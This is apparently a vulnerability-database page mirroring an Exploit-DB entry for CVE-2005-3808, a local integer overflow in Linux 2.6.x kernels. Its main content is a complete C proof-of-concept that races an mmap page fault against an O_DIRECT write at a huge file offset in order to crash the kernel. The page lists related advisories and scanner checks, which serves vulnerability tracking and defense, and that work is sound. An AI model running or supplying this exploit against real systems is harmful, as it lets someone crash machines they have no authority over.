Lucene search
+L

Linux Kernel 2.6.x - INVALIDATE_INODE_PAGES2 Local Integer Overflow

🗓️ 13 Dec 2005 00:00:00Reported by Oleg DrokinType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 34 Views

Vulnerability in Linux Kernel 2.6.x allows local integer overflow, causing potential crashes and attacks.

Related
Code
ReporterTitlePublishedViews
Family
cve
CVE
CVE-2005-3808
25 Nov 200521:00
cve
cvelist
Cvelist
CVE-2005-3808
25 Nov 200521:00
cvelist
euvd
EUVD
EUVD-2005-3803
7 Oct 202500:30
euvd
nessus
Tenable Nessus
Fedora Core 4 : kernel-2.6.14-1.1653_FC4 (2005-1138)
15 Dec 200500:00
nessus
nessus
Tenable Nessus
Mandrake Linux Security Advisory : kernel (MDKSA-2006:018)
22 Jan 200600:00
nessus
nessus
Tenable Nessus
SUSE-SA:2006:006: kernel
10 Feb 200600:00
nessus
nessus
Tenable Nessus
Ubuntu 4.10 / 5.04 / 5.10 : linux-source-2.6.8.1/-2.6.10/-2.6.12 vulnerabilities (USN-231-1)
21 Jan 200600:00
nessus
nvd
NVD
CVE-2005-3808
25 Nov 200521:03
nvd
susecve
SUSE CVE
SUSE CVE-2005-3808
15 Feb 202306:16
susecve
ubuntucve
UbuntuCve
CVE-2005-3808
25 Nov 200521:03
ubuntucve
Rows per page
/*
source: https://www.securityfocus.com/bid/15846/info

Linux kernel is prone to a local integer-overflow vulnerability.

A successful attack can result in a kernel crash. Arbitrary code execution may be possible as well, but this has not been confirmed.

All 2.6.x versions of the Linux kernel are considered vulnerable at the moment.
*/


#define _GNU_SOURCE
#define __USE_FILE_OFFSET64
#include <stdio.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>

#define FILENAME "/tmp/bigfile"

int main(int argc, char **argv)
{
	int fd, fd1, ret;
	char *buf;
	char wbuf[8192];
	unsigned long long offset = 0xffffff000ULL;
	char *p=wbuf;

	fd = open(FILENAME, O_RDWR|O_CREAT|O_LARGEFILE/*|O_TRUNC*/, 0644);
	if (fd < 0) {
		perror(FILENAME);
		return -1;
	}

	ftruncate64(fd, offset + 4096*4);
	buf = mmap64(NULL, 4096*4, PROT_READ|PROT_WRITE, MAP_SHARED, fd, offset);
	if (buf == MAP_FAILED) {
		perror("mmap");
		return -1;
	}

	fd1 = open(FILENAME, O_RDWR|O_DIRECT|O_LARGEFILE, 0644);
	if (fd < 0) {
		perror(FILENAME);
		return -1;
	}

	p = (char *)((unsigned long) p | 4095)+1;


	if (fork()) {
		while(1) {
			/* map in the page */
			buf[10] = 1;
		}
	} else {
		ret = pwrite64(fd1, p, 4096, offset);
		if (ret < 4096) {
			printf("write: %d %p\n", ret, p);
			perror("write");
			return -1;
		}
	}

	return 0;
}

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

06 Sep 2016 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 24.9
EPSS0.00772
34